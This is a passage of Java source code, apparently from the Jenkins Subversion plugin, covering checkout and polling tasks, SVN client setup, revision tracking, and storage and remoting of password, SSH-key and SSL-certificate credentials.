* Either run "svn co" or "svn up" equivalent.
*/
private static class CheckOutTask extends UpdateTask implements FileCallable<List<External>> {
private final UpdateTask task;
public CheckOutTask(AbstractBuild<?, ?> build, SubversionSCM parent, ModuleLocation location, Date timestamp, TaskListener listener, EnvVars env) {
this.authProvider = parent.getDescriptor().createAuthenticationProvider(build.getParent());
this.timestamp = timestamp;
this.listener = listener;
this.location = location;
this.revisions = build.getAction(RevisionParameterAction.class);
this.task = parent.getWorkspaceUpdater().createTask();
}
public List<External> invoke(File ws, VirtualChannel channel) throws IOException {
clientManager = createClientManager(authProvider);
manager = clientManager.getCore();
this.ws = ws;
try {
List<External> externals = perform();
checkClockOutOfSync();
return externals;
} catch (InterruptedException e) {
throw (InterruptedIOException)new InterruptedIOException().initCause(e);
} finally {
clientManager.dispose();
}
}
/**
* This round-about way of executing the task ensures that the error-prone {@link #delegateTo(UpdateTask)} method
* correctly copies everything.
*/
@Override
public List<External> perform() throws IOException, InterruptedException {
return delegateTo(task);
}
private void checkClockOutOfSync() {
try {
SVNDirEntry dir = clientManager.createRepository(location.getSVNURL(), true).info("/", -1);
if (dir != null) {// I don't think this can ever be null, but be defensive
if (dir.getDate() != null && dir.getDate().after(new Date())) // see http://www.nabble.com/NullPointerException-in-SVN-Checkout-Update-td21609781.html that reported this being null.
{
listener.getLogger().println(Messages.SubversionSCM_ClockOutOfSync());
}
}
} catch (SVNAuthenticationException e) {
// if we don't have access to '/', ignore. error
LOGGER.log(Level.FINE,"Failed to estimate the remote time stamp",e);
} catch (SVNException e) {
LOGGER.log(Level.INFO,"Failed to estimate the remote time stamp",e);
}
}
private static final long serialVersionUID = 1L;
}
/**
*
* @deprecated as of 1.40
* Use {@link #createClientManager(ISVNAuthenticationProvider)}
*/
public static SVNClientManager createSvnClientManager(ISVNAuthenticationProvider authProvider) {
return createClientManager(authProvider).getCore();
}
/**
* Creates {@link SVNClientManager}.
*
* <p>
* This method must be executed on the slave where svn operations are performed.
*
* @param authProvider
* The value obtained from {@link DescriptorImpl#createAuthenticationProvider(AbstractProject)}.
* If the operation runs on slaves,
* (and properly remoted, if the svn operations run on slaves.)
*/
public static SvnClientManager createClientManager(ISVNAuthenticationProvider authProvider) {
ISVNAuthenticationManager sam = createSvnAuthenticationManager(authProvider);
return new SvnClientManager(SVNClientManager.newInstance(createDefaultSVNOptions(), sam));
}
/**
* Creates the {@link DefaultSVNOptions}.
*
* @return the {@link DefaultSVNOptions}.
*/
public static DefaultSVNOptions createDefaultSVNOptions() {
DefaultSVNOptions defaultOptions = SVNWCUtil.createDefaultOptions(true);
DescriptorImpl descriptor = Hudson.getInstance() == null ? null : Hudson.getInstance().getDescriptorByType(DescriptorImpl.class);
if (defaultOptions != null && descriptor != null) {
defaultOptions.setAuthStorageEnabled(descriptor.isStoreAuthToDisk());
}
return defaultOptions;
}
public static ISVNAuthenticationManager createSvnAuthenticationManager(ISVNAuthenticationProvider authProvider) {
File configDir;
if (CONFIG_DIR!=null)
configDir = new File(CONFIG_DIR);
else
configDir = SVNWCUtil.getDefaultConfigurationDirectory();
ISVNAuthenticationManager sam = SVNWCUtil.createDefaultAuthenticationManager(configDir, null, null);
sam.setAuthenticationProvider(authProvider);
SVNAuthStoreHandlerImpl.install(sam);
return sam;
}
/**
* @deprecated as of 2.0
* Use {@link #createClientManager(AbstractProject)}
*
*/
public static SVNClientManager createSvnClientManager(AbstractProject context) {
return createClientManager(context).getCore();
}
/**
* Creates {@link SVNClientManager} for code running on the master.
* <p>
* CAUTION: this code only works when invoked on master. On slaves, use
* {@link #createSvnClientManager(ISVNAuthenticationProvider)} and get {@link ISVNAuthenticationProvider}
* from the master via remoting.
*/
public static SvnClientManager createClientManager(AbstractProject context) {
return new SvnClientManager(createSvnClientManager(Hudson.getInstance().getDescriptorByType(DescriptorImpl.class).createAuthenticationProvider(context)));
}
public static final class SvnInfo implements Serializable, Comparable<SvnInfo> {
/**
* Decoded repository URL.
*/
public final String url;
public final long revision;
public SvnInfo(String url, long revision) {
this.url = url;
this.revision = revision;
}
public SvnInfo(SVNInfo info) {
this( info.getURL().toDecodedString(), info.getCommittedRevision().getNumber() );
}
public SVNURL getSVNURL() throws SVNException {
return SVNURL.parseURIDecoded(url);
}
public int compareTo(SvnInfo that) {
int r = this.url.compareTo(that.url);
if(r!=0) return r;
if(this.revision<that.revision) return -1;
if(this.revision>that.revision) return +1;
return 0;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
SvnInfo svnInfo = (SvnInfo) o;
return revision==svnInfo.revision && url.equals(svnInfo.url);
}
@Override
public int hashCode() {
int result;
result = url.hashCode();
result = 31 * result + (int) (revision ^ (revision >>> 32));
return result;
}
@Override
public String toString() {
return String.format("%s (rev.%s)",url,revision);
}
private static final long serialVersionUID = 1L;
}
/**
* {@link SvnInfo} plus a flag if the revision is fixed.
*/
private static final class SvnInfoP implements Serializable {
/**
* SvnInfo with an indicator boolean indicating whether this is a pinned external
*/
public final SvnInfo info;
public final boolean pinned;
public SvnInfoP(SvnInfo info, boolean pinned) {
this.info = info;
this.pinned = pinned;
}
private static final long serialVersionUID = 1L;
}
/**
* Information about svn:external
*/
public static final class External implements Serializable {
/**
* Relative path within the workspace where this <tt>svn:exteranls</tt> exist.
*/
public final String path;
/**
* External SVN URL to be fetched.
*/
public final String url;
/**
* If the svn:external link is with the -r option, its number.
* Otherwise -1 to indicate that the head revision of the external repository should be fetched.
*/
public final long revision;
public External(String path, SVNURL url, long revision) {
this.path = path;
this.url = url.toDecodedString();
this.revision = revision;
}
/**
* Returns true if this reference is to a fixed revision.
*/
public boolean isRevisionFixed() {
return revision!=-1;
}
private static final long serialVersionUID = 1L;
private static final XStream XSTREAM = new XStream2();
static {
XSTREAM.alias("external",External.class);
}
}
/**
* Gets the SVN metadata for the remote repository.
*
* @param remoteUrl
* The target to run "svn info".
*/
static SVNInfo parseSvnInfo(SVNURL remoteUrl, ISVNAuthenticationProvider authProvider) throws SVNException {
final SvnClientManager manager = createClientManager(authProvider);
try {
final SVNWCClient svnWc = manager.getWCClient();
return svnWc.doInfo(remoteUrl, SVNRevision.HEAD, SVNRevision.HEAD);
} finally {
manager.dispose();
}
}
/**
* Checks .svn files in the workspace and finds out revisions of the modules
* that the workspace has.
*
* @return
* null if the parsing somehow fails. Otherwise a map from the repository URL to revisions.
*/
private static class BuildRevisionMapTask implements FileCallable<List<SvnInfoP>> {
private final ISVNAuthenticationProvider authProvider;
private final TaskListener listener;
private final List<External> externals;
private final ModuleLocation[] locations;
public BuildRevisionMapTask(AbstractBuild<?, ?> build, SubversionSCM parent, TaskListener listener, List<External> externals, EnvVars env) {
this.authProvider = parent.getDescriptor().createAuthenticationProvider(build.getParent());
this.listener = listener;
this.externals = externals;
this.locations = parent.getLocations(env, build);
}
public List<SvnInfoP> invoke(File ws, VirtualChannel channel) throws IOException {
List<SvnInfoP> revisions = new ArrayList<SvnInfoP>();
final SvnClientManager manager = createClientManager(authProvider);
try {
final SVNWCClient svnWc = manager.getWCClient();
// invoke the "svn info"
for( ModuleLocation module : locations ) {
try {
SvnInfo info = new SvnInfo(svnWc.doInfo(new File(ws,module.getLocalDir()), SVNRevision.WORKING));
revisions.add(new SvnInfoP(info, false));
} catch (SVNException e) {
e.printStackTrace(listener.error("Failed to parse svn info for "+module.remote));
}
}
for(External ext : externals){
try {
SvnInfo info = new SvnInfo(svnWc.doInfo(new File(ws,ext.path),SVNRevision.WORKING));
revisions.add(new SvnInfoP(info, ext.isRevisionFixed()));
} catch (SVNException e) {
e.printStackTrace(listener.error("Failed to parse svn info for external "+ext.url+" at "+ext.path));
}
}
return revisions;
} finally {
manager.dispose();
}
}
private static final long serialVersionUID = 1L;
}
/**
* Gets the file that stores the revision.
*/
public static File getRevisionFile(AbstractBuild build) {
return new File(build.getRootDir(),"revision.txt");
}
/**
* Gets the file that stores the externals.
*/
private static File getExternalsFile(AbstractProject project) {
return new File(project.getRootDir(),"svnexternals.txt");
}
@Override
public SCMRevisionState calcRevisionsFromBuild(AbstractBuild<?, ?> build, Launcher launcher, TaskListener listener) throws IOException, InterruptedException {
// exclude locations that are svn:external-ed with a fixed revision.
Map<String,Long> wsRev = parseRevisionFile(build,true,true);
return new SVNRevisionState(wsRev);
}
private boolean isPollFromMaster() {
return pollFromMaster;
}
void setPollFromMaster(boolean pollFromMaster) {
this.pollFromMaster = pollFromMaster;
}
@Override
protected PollingResult compareRemoteRevisionWith(AbstractProject<?,?> project, Launcher launcher, FilePath workspace, final TaskListener listener, SCMRevisionState _baseline) throws IOException, InterruptedException {
final SVNRevisionState baseline;
if (_baseline instanceof SVNRevisionState) {
baseline = (SVNRevisionState)_baseline;
}
else if (project.getLastBuild()!=null) {
baseline = (SVNRevisionState)calcRevisionsFromBuild(project.getLastBuild(), launcher, listener);
}
else {
baseline = new SVNRevisionState(null);
}
if (project.getLastBuild() == null) {
listener.getLogger().println(Messages.SubversionSCM_pollChanges_noBuilds());
return BUILD_NOW;
}
AbstractBuild<?,?> lastCompletedBuild = project.getLastCompletedBuild();
if (lastCompletedBuild!=null) {
EnvVars env = lastCompletedBuild.getEnvironment(listener);
EnvVarsUtils.overrideAll(env, lastCompletedBuild.getBuildVariables());
if (repositoryLocationsNoLongerExist(lastCompletedBuild, listener, env)) {
// Disable this project, see HUDSON-763
listener.getLogger().println(
Messages.SubversionSCM_pollChanges_locationsNoLongerExist(project));
project.makeDisabled(true);
return NO_CHANGES;
}
// are the locations checked out in the workspace consistent with the current configuration?
for (ModuleLocation loc : getLocations(env, lastCompletedBuild)) {
// baseline.revisions has URIdecoded URL
String url;
try {
url = loc.getSVNURL().toDecodedString();
} catch (SVNException ex) {
ex.printStackTrace(listener.error(Messages.SubversionSCM_pollChanges_exception(loc.getURL())));
return BUILD_NOW;
}
if (!baseline.revisions.containsKey(url)) {
listener.getLogger().println(
Messages.SubversionSCM_pollChanges_locationNotInWorkspace(url));
return BUILD_NOW;
}
}
}
// determine where to perform polling. prefer the node where the build happened,
// in case a cluster is non-uniform. see http://www.nabble.com/svn-connection-from-slave-only-td24970587.html
VirtualChannel ch=null;
Node n = null;
if (!isPollFromMaster()) {
n = lastCompletedBuild!=null ? lastCompletedBuild.getBuiltOn() : null;
if (n!=null) {
Computer c = n.toComputer();
if (c!=null) ch = c.getChannel();
}
}
if (ch==null) ch= MasterComputer.localChannel;
final String nodeName = n!=null ? n.getNodeName() : "master";
final SVNLogHandler logHandler = new SVNLogHandler(createSVNLogFilter(), listener);
final ISVNAuthenticationProvider authProvider = getDescriptor().createAuthenticationProvider(project);
// figure out the remote revisions
return ch.call(new CompareAgainstBaselineCallable(baseline, logHandler, project.getName(), listener, authProvider, nodeName));
}
public SVNLogFilter createSVNLogFilter() {
return new DefaultSVNLogFilter(getExcludedRegionsPatterns(), getIncludedRegionsPatterns(),
getExcludedUsersNormalized(), getExcludedRevprop(), getExcludedCommitMessagesPatterns(), isIgnoreDirPropChanges());
}
/**
* Goes through the changes between two revisions and see if all the changes
* are excluded.
*/
static final class SVNLogHandler implements ISVNLogEntryHandler, Serializable {
private boolean changesFound = false;
private SVNLogFilter filter;
SVNLogHandler(SVNLogFilter svnLogFilter, TaskListener listener) {
this.filter = svnLogFilter;;
this.filter.setTaskListener(listener);
}
public boolean isChangesFound() {
return changesFound;
}
/**
* Checks it the revision range [from,to] has any changes that are not excluded via exclusions.
*/
public boolean findNonExcludedChanges(SVNURL url, long from, long to, ISVNAuthenticationProvider authProvider) throws SVNException {
if (from>to) return false; // empty revision range, meaning no change
// if no exclusion rules are defined, don't waste time going through "svn log".
if (!filter.hasExclusionRule()) return true;
final SvnClientManager manager = createClientManager(authProvider);
try {
manager.getLogClient().doLog(url, null, SVNRevision.UNDEFINED,
SVNRevision.create(from), // get log entries from the local revision + 1
SVNRevision.create(to), // to the remote revision
false, // Don't stop on copy.
true, // Report paths.
false, // Don't included merged revisions
0, // Retrieve log entries for unlimited number of revisions.
null, // Retrieve all revprops
this);
} finally {
manager.dispose();
}
return isChangesFound();
}
/**
* Handles a log entry passed.
* Check for log entries that should be excluded from triggering a build.
* If an entry is not an entry that should be excluded, set changesFound to true
*
* @param logEntry an {@link org.tmatesoft.svn.core.SVNLogEntry} object
* that represents per revision information
* (committed paths, log message, etc.)
* @throws org.tmatesoft.svn.core.SVNException
*/
public void handleLogEntry(SVNLogEntry logEntry) throws SVNException {
if (filter.isIncluded(logEntry)) {
changesFound = true;
}
}
private static final long serialVersionUID = 1L;
}
public ChangeLogParser createChangeLogParser() {
return new SubversionChangeLogParser(ignoreDirPropChanges);
}
@Override
public DescriptorImpl getDescriptor() {
return (DescriptorImpl)super.getDescriptor();
}
/**
* @deprecated
*/
@Override
@Deprecated
public FilePath getModuleRoot(FilePath workspace) {
if (getLocations().length > 0)
return workspace.child(getLocations()[0].getLocalDir());
return workspace;
}
@Override
public FilePath getModuleRoot(FilePath workspace, AbstractBuild build) {
if (build == null) {
return getModuleRoot(workspace);
}
// TODO: can't I get the build listener here?
TaskListener listener = new LogTaskListener(LOGGER, WARNING);
final EnvVars env;
try {
env = build.getEnvironment(listener);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new RuntimeException(e);
}
if (getLocations().length > 0)
return _getModuleRoot(workspace, getLocations()[0].getLocalDir(), env);
return workspace;
}
@Deprecated
@Override
public FilePath[] getModuleRoots(FilePath workspace) {
final ModuleLocation[] moduleLocations = getLocations();
if (moduleLocations.length > 0) {
FilePath[] moduleRoots = new FilePath[moduleLocations.length];
for (int i = 0; i < moduleLocations.length; i++) {
moduleRoots[i] = workspace.child(moduleLocations[i].getLocalDir());
}
return moduleRoots;
}
return new FilePath[] { getModuleRoot(workspace) };
}
@Override
public FilePath[] getModuleRoots(FilePath workspace, AbstractBuild build) {
if (build == null) {
return getModuleRoots(workspace);
}
// TODO: can't I get the build listener here?
TaskListener listener = new LogTaskListener(LOGGER, WARNING);
final EnvVars env;
try {
env = build.getEnvironment(listener);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new RuntimeException(e);
}
final ModuleLocation[] moduleLocations = getLocations();
if (moduleLocations.length > 0) {
FilePath[] moduleRoots = new FilePath[moduleLocations.length];
for (int i = 0; i < moduleLocations.length; i++) {
moduleRoots[i] = _getModuleRoot(workspace, moduleLocations[i].getLocalDir(), env);
}
return moduleRoots;
}
return new FilePath[] { getModuleRoot(workspace, build) };
}
FilePath _getModuleRoot(FilePath workspace, String localDir, EnvVars env) {
return workspace.child(
env.expand(localDir));
}
private static String getLastPathComponent(String s) {
String[] tokens = s.split("/");
return tokens[tokens.length-1]; // return the last token
}
@Extension
public static class DescriptorImpl extends SCMDescriptor<SubversionSCM> implements hudson.model.ModelObject {
/**
* SVN authentication realm to its associated credentials.
* This is the global credential repository.
*/
private final Map<String,Credential> credentials = new Hashtable<String,Credential>();
/**
* Stores name of Subversion revision property to globally exclude
*/
private String globalExcludedRevprop = null;
private int workspaceFormat = SVNAdminAreaFactory.WC_FORMAT_14;
/**
* When set to true, repository URLs will be validated up to the first
* dollar sign which is encountered.
*/
private boolean validateRemoteUpToVar = false;
/**
* When set to {@code false}, then auth details will never be stored on disk.
* @since 1.27
*/
private boolean storeAuthToDisk = true;
/**
* Stores {@link SVNAuthentication} for a single realm.
*
* <p>
* {@link Credential} holds data in a persistence-friendly way,
* and it's capable of creating {@link SVNAuthentication} object,
* to be passed to SVNKit.
*/
public static abstract class Credential implements Serializable {
/**
*
*/
private static final long serialVersionUID = -3707951427730113110L;
/**
* @param kind
* One of the constants defined in {@link ISVNAuthenticationManager},
* indicating what subtype of {@link SVNAuthentication} is expected.
*/
public abstract SVNAuthentication createSVNAuthentication(String kind) throws SVNException;
}
/**
* Username/password based authentication.
*/
public static final class PasswordCredential extends Credential {
/**
*
*/
private static final long serialVersionUID = -1676145651108866745L;
private final String userName;
private final Secret password; // for historical reasons, scrambled by base64 in addition to using 'Secret'
public PasswordCredential(String userName, String password) {
this.userName = userName;
this.password = Secret.fromString(Scrambler.scramble(password));
}
@Override
public SVNAuthentication createSVNAuthentication(String kind) {
if(kind.equals(ISVNAuthenticationManager.SSH))
return new SVNSSHAuthentication(userName, getPassword(),-1,false);
else
return new SVNPasswordAuthentication(userName, getPassword(),false);
}
private String getPassword() {
return Scrambler.descramble(Secret.toString(password));
}
}
/**
* Public key authentication for Subversion over SSH.
*/
public static final class SshPublicKeyCredential extends Credential {
/**
*
*/
private static final long serialVersionUID = -4649332611621900514L;
private final String userName;
private final Secret passphrase; // for historical reasons, scrambled by base64 in addition to using 'Secret'
private final String id;
/**
* @param keyFile
* stores SSH private key. The file will be copied.
*/
public SshPublicKeyCredential(String userName, String passphrase, File keyFile) throws SVNException {
this.userName = userName;
this.passphrase = Secret.fromString(Scrambler.scramble(passphrase));
Random r = new Random();
StringBuilder buf = new StringBuilder();
for(int i=0;i<16;i++)
buf.append(Integer.toHexString(r.nextInt(16)));
this.id = buf.toString();
try {
File savedKeyFile = getKeyFile();
FileUtils.copyFile(keyFile,savedKeyFile);
setFilePermissions(savedKeyFile, "600");
} catch (IOException e) {
throw new SVNException(
SVNErrorMessage.create(SVNErrorCode.AUTHN_CREDS_UNAVAILABLE,"Unable to save private key").initCause(e));
}
}
/**
* Gets the location where the private key will be permanently stored.
*/
private File getKeyFile() {
File dir = new File(Hudson.getInstance().getRootDir(),"subversion-credentials");
if(dir.mkdirs()) {
// make sure the directory exists. if we created it, try to set the permission to 600
// since this is sensitive information
setFilePermissions(dir, "600");
}
return new File(dir,id);
}
/**
* Set the file permissions
*/
private boolean setFilePermissions(File file, String perms) {
try {
Chmod chmod = new Chmod();
chmod.setProject(new Project());
chmod.setFile(file);
chmod.setPerm(perms);
chmod.execute();
} catch (BuildException e) {
// if we failed to set the permission, that's fine.
LOGGER.log(Level.WARNING, "Failed to set permission of "+file,e);
return false;
}
return true;
}
@Override
public SVNSSHAuthentication createSVNAuthentication(String kind) throws SVNException {
if(kind.equals(ISVNAuthenticationManager.SSH)) {
try {
Channel channel = Channel.current();
String privateKey;
if(channel!=null) {
// remote
privateKey = channel.call(new Callable<String,IOException>() {
/**
*
*/
private static final long serialVersionUID = -3088632649290496373L;
public String call() throws IOException {
return FileUtils.readFileToString(getKeyFile(),"iso-8859-1");
}
});
} else {
privateKey = FileUtils.readFileToString(getKeyFile(),"iso-8859-1");
}
return new SVNSSHAuthentication(userName, privateKey.toCharArray(), Scrambler.descramble(Secret.toString(passphrase)),-1,false);
} catch (IOException e) {
throw new SVNException(
SVNErrorMessage.create(SVNErrorCode.AUTHN_CREDS_UNAVAILABLE,"Unable to load private key").initCause(e));
} catch (InterruptedException e) {
throw new SVNException(
SVNErrorMessage.create(SVNErrorCode.AUTHN_CREDS_UNAVAILABLE,"Unable to load private key").initCause(e));
}
} else
return null; // unknown
}
}
/**
* SSL client certificate based authentication.
*/
public static final class SslClientCertificateCredential extends Credential {
/**
*
*/
private static final long serialVersionUID = 5455755079546887446L;
private final Secret certificate;
private final Secret password; // for historical reasons, scrambled by base64 in addition to using 'Secret'
public SslClientCertificateCredential(File certificate, String password) throws IOException {
this.password = Secret.fromString(Scrambler.scramble(password));
this.certificate = Secret.fromString(new String(Base64.encode(FileUtils.readFileToByteArray(certificate))));
}
@Override
public SVNAuthentication createSVNAuthentication(String kind) {
if(kind.equals(ISVNAuthenticationManager.SSL))
try {
SVNSSLAuthentication authentication = new SVNSSLAuthentication(
Base64.decode(certificate.getPlainText().toCharArray()),
Scrambler.descramble(Secret.toString(password)), false);
authentication.setCertificatePath("dummy"); // TODO: remove this JENKINS-19175 workaround
return authentication;
} catch (IOException e) {
throw new Error(e); // can't happen
}
else
return null; // unexpected authentication type
}
}
/**
* Remoting interface that allows remote {@link ISVNAuthenticationProvider}
* to read from local {@link DescriptorImpl#credentials}.
*/
interface RemotableSVNAuthenticationProvider extends Serializable {
Credential getCredential(SVNURL url, String realm);
/**
* Indicates that the specified credential worked.
*/
void acknowledgeAuthentication(String realm, Credential credential);
}
/**
* There's no point in exporting multiple {@link RemotableSVNAuthenticationProviderImpl} instances,
* so let's just use one instance.
*/
private transient final RemotableSVNAuthenticationProviderImpl remotableProvider = new RemotableSVNAuthenticationProviderImpl();
private final class RemotableSVNAuthenticationProviderImpl implements RemotableSVNAuthenticationProvider {
/**
*
*/
private static final long serialVersionUID = 1243451839093253666L;
public Credential getCredential(SVNURL url, String realm) {
for (SubversionCredentialProvider p : SubversionCredentialProvider.all()) {
Credential c = p.getCredential(url,realm);
if(c!=null) {
LOGGER.fine(String.format("getCredential(%s)=>%s by %s",realm,c,p));
return c;
}
}
LOGGER.fine(String.format("getCredential(%s)=>%s",realm,credentials.get(realm)));
return credentials.get(realm);
}
public void acknowledgeAuthentication(String realm, Credential credential) {
// this notification is only used on the project-local store.
}
/**
* When sent to the remote node, send a proxy.
*/
private Object writeReplace() {
return Channel.current().export(RemotableSVNAuthenticationProvider.class, this);
}
}
/**
* See {@link DescriptorImpl#createAuthenticationProvider(AbstractProject)}.
*/
static final class SVNAuthenticationProviderImpl implements ISVNAuthenticationProvider, ISVNAuthenticationOutcomeListener, Serializable {
/**
* Project-scoped authentication source. For historical reasons, can be null.
*/
private final RemotableSVNAuthenticationProvider local;
/**
* System-wide authentication source. Used as a fallback.
*/
private final RemotableSVNAuthenticationProvider global;
/**
* The {@link Credential} used to create the last {@link SVNAuthentication} that we've tried.
*/
private Credential lastCredential;
public SVNAuthenticationProviderImpl(RemotableSVNAuthenticationProvider local, RemotableSVNAuthenticationProvider global) {
this.global = global;
this.local = local;
}
private SVNAuthentication fromProvider(SVNURL url, String realm, String kind, RemotableSVNAuthenticationProvider src, String debugName) throws SVNException {
if (src==null) return null;
Credential cred = src.getCredential(url,realm);
LOGGER.fine(String.format("%s.requestClientAuthentication(%s,%s,%s)=>%s",debugName,kind,url,realm,cred));
this.lastCredential = cred;
if(cred!=null) return cred.createSVNAuthentication(kind);
return null;
}
public SVNAuthentication requestClientAuthentication(String kind, SVNURL url, String realm, SVNErrorMessage errorMessage, SVNAuthentication previousAuth, boolean authMayBeStored) {
try {
SVNAuthentication auth=fromProvider(url,realm,kind,local,"local");
// first try the local credential, then the global credential.
if (auth==null || compareSVNAuthentications(auth,previousAuth))
auth = fromProvider(url,realm,kind,global,"global");
if(previousAuth!=null && compareSVNAuthentications(auth,previousAuth)) {
// See HUDSON-2909
// this comparison is necessary, unlike the original fix of HUDSON-2909, since SVNKit may use
// other ISVNAuthenticationProviders and their failed auth might be passed to us.
// see HUDSON-3936
LOGGER.log(FINE, "Previous authentication attempt failed, so aborting: {0}", previousAuth);
return null;
}
if(auth==null && ISVNAuthenticationManager.USERNAME.equals(kind)) {
// this happens with file:// URL and svn+ssh (in this case this method gets invoked twice.)
// The base class does this, too.
// user auth shouldn't be null.
return new SVNUserNameAuthentication("",false);
}
return auth;
} catch (SVNException e) {
LOGGER.log(Level.SEVERE, "Failed to authorize",e);
throw new RuntimeException("Failed to authorize",e);
}
}
public void acknowledgeAuthentication(boolean accepted, String kind, String realm, SVNErrorMessage errorMessage, SVNAuthentication authentication) throws SVNException {
if (accepted && local!=null && lastCredential!=null)
local.acknowledgeAuthentication(realm,lastCredential);
}
public int acceptServerAuthentication(SVNURL url, String realm, Object certificate, boolean resultMayBeStored) {
return ACCEPTED_TEMPORARY;
}
private static final long serialVersionUID = 1L;
}
@Override
public SCM newInstance(StaplerRequest staplerRequest, JSONObject jsonObject) throws FormException {
return super.newInstance(staplerRequest, jsonObject);
}
public DescriptorImpl() {
super(SubversionRepositoryBrowser.class);
load();
}
@SuppressWarnings("unchecked")
protected DescriptorImpl(Class clazz, Class<? extends RepositoryBrowser> repositoryBrowser) {
super(clazz,repositoryBrowser);
}
public String getDisplayName() {
return "Subversion";
}
public String getGlobalExcludedRevprop() {
return globalExcludedRevprop;
}
public int getWorkspaceFormat() {
if (workspaceFormat==0)
return SVNAdminAreaFactory.WC_FORMAT_14; // default
return workspaceFormat;
}
public boolean isValidateRemoteUpToVar() {
return validateRemoteUpToVar;
}
public boolean isStoreAuthToDisk() {
return storeAuthToDisk;
}
@Override
public boolean configure(StaplerRequest req, JSONObject formData) throws FormException {
globalExcludedRevprop = fixEmptyAndTrim(
req.getParameter("svn.global_excluded_revprop"));
workspaceFormat = Integer.parseInt(req.getParameter("svn.workspaceFormat"));
validateRemoteUpToVar = formData.containsKey("validateRemoteUpToVar");
storeAuthToDisk = formData.containsKey("storeAuthToDisk");
// Save configuration
save();
return super.configure(req, formData);
}
@Override
public boolean isBrowserReusable(SubversionSCM x, SubversionSCM y) {
ModuleLocation[] xl = x.getLocations(), yl = y.getLocations();
if (xl.length != yl.length) return false;
for (int i = 0; i < xl.length; i++)
if (!xl[i].getURL().equals(yl[i].getURL())) return false;
return true;
}
/**
* Creates {@link ISVNAuthenticationProvider} backed by {@link #credentials}.
* This method must be invoked on the master, but the returned object is remotable.
*
* <p>
* Therefore, to access {@link ISVNAuthenticationProvider}, you need to call this method
* on the master, then pass the object to the slave side, then call
* {@link SubversionSCM#createSvnClientManager(ISVNAuthenticationProvider)} on the slave.
*
* @see SubversionSCM#createSvnClientManager(ISVNAuthenticationProvider)
*/
public ISVNAuthenticationProvider createAuthenticationProvider(AbstractProject<?,?> inContextOf) {
return new SVNAuthenticationProviderImpl(
inContextOf==null ? null : new PerJobCredentialStore(inContextOf),remotableProvider);
}
/**
* @deprecated as of 1.18
* Now that Hudson allows different credentials to be given in different jobs,
* The caller should use {@link #createAuthenticationProvider(AbstractProject)} to indicate
* the project in which the subversion operation is performed.
*/
public ISVNAuthenticationProvider createAuthenticationProvider() {
return new SVNAuthenticationProviderImpl(null,remotableProvider);
}
/**
* Submits the authentication info.
*/
// TODO: stapler should do multipart/form-data handling
public void doPostCredential(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
Hudson.getInstance().checkPermission(Item.CONFIGURE);
MultipartFormDataParser parser = new MultipartFormDataParser(req);
// we'll record what credential we are trying here.
StringWriter log = new StringWriter();
PrintWriter logWriter = new PrintWriter(log);
UserProvidedCredential upc = UserProvidedCredential.fromForm(req,parser);
try {
postCredential(parser.get("url"), upc, logWriter);
rsp.sendRedirect("credentialOK");
} catch (SVNException e) {
logWriter.println("FAILED: "+e.getErrorMessage());
req.setAttribute("message",log.toString());
req.setAttribute("pre",true);
req.setAttribute("exception",e);
rsp.forward(Hudson.getInstance(),"error",req);
} finally {
upc.close();
}
}
/**
* @deprecated as of 1.18
* Use {@link #postCredential(AbstractProject, String, String, String, File, PrintWriter)}
*/
public void postCredential(String url, String username, String password, File keyFile, PrintWriter logWriter) throws SVNException, IOException {
postCredential(null,url,username,password,keyFile,logWriter);
}
public void postCredential(AbstractProject inContextOf, String url, String username, String password, File keyFile, PrintWriter logWriter) throws SVNException, IOException {
postCredential(url,new UserProvidedCredential(username,password,keyFile,inContextOf),logWriter);
}
/**
* Submits the authentication info.
*
* This code is fairly ugly because of the way SVNKit handles credentials.
*/
public void postCredential(String url, final UserProvidedCredential upc, PrintWriter logWriter) throws SVNException, IOException {
SVNRepository repository = null;
try {
// the way it works with SVNKit is that
// 1) svnkit calls AuthenticationManager asking for a credential.
// this is when we can see the 'realm', which identifies the user domain.
// 2) DefaultSVNAuthenticationManager returns the username and password we set below
// 3) if the authentication is successful, svnkit calls back acknowledgeAuthentication
// (so we store the password info here)
repository = SVNRepositoryFactory.create(SVNURL.parseURIDecoded(url));
repository.setTunnelProvider( createDefaultSVNOptions() );
AuthenticationManagerImpl authManager = upc.new AuthenticationManagerImpl(logWriter) {
@Override
protected void onSuccess(String realm, Credential cred) {
LOGGER.info("Persisted "+cred+" for "+realm);
credentials.put(realm, cred);
save();
if (upc.inContextOf!=null)
new PerJobCredentialStore(upc.inContextOf).acknowledgeAuthentication(realm,cred);
}
};
authManager.setAuthenticationForced(true);
repository.setAuthenticationManager(authManager);
repository.testConnection();
authManager.checkIfProtocolCompleted();
} finally {
if (repository != null)
repository.closeSession();
}
}
/**
* validate the value for a remote (repository) location.
*/
public FormValidation doCheckRemote(StaplerRequest req, @AncestorInPath AbstractProject context, @QueryParameter String value) {
// syntax check first
String url = Util.fixEmptyAndTrim(value);
if (url == null)
return FormValidation.error(Messages.SubversionSCM_doCheckRemote_required());
if(isValidateRemoteUpToVar()) {
url = (url.indexOf('$') != -1) ? url.substring(0, url.indexOf('$')) : url;
} else {
url = new EnvVars(EnvVars.masterEnvVars).expand(url);
}
if(!URL_PATTERN.matcher(url).matches())
return FormValidation.errorWithMarkup(
Messages.SubversionSCM_doCheckRemote_invalidUrl());
// Test the connection only if we have job cuonfigure permission
if (!Hudson.getInstance().hasPermission(Item.CONFIGURE))
return FormValidation.ok();
try {
String urlWithoutRevision = SvnHelper.getUrlWithoutRevision(url);
SVNURL repoURL = SVNURL.parseURIDecoded(urlWithoutRevision);
if (checkRepositoryPath(context,repoURL)!=SVNNodeKind.NONE) {
// something exists; now check revision if any
SVNRevision revision = getRevisionFromRemoteUrl(url);
if (revision != null && !revision.isValid()) {
return FormValidation.errorWithMarkup(Messages.SubversionSCM_doCheckRemote_invalidRevision());
}
return FormValidation.ok();
}
SVNRepository repository = null;
try {
repository = getRepository(context,repoURL);
long rev = repository.getLatestRevision();
// now go back the tree and find if there's anything that exists
String repoPath = getRelativePath(repoURL, repository);
String p = repoPath;
while(p.length()>0) {
p = SVNPathUtil.removeTail(p);
if(repository.checkPath(p,rev)==SVNNodeKind.DIR) {
// found a matching path
List<SVNDirEntry> entries = new ArrayList<SVNDirEntry>();
repository.getDir(p,rev,false,entries);
// build up the name list
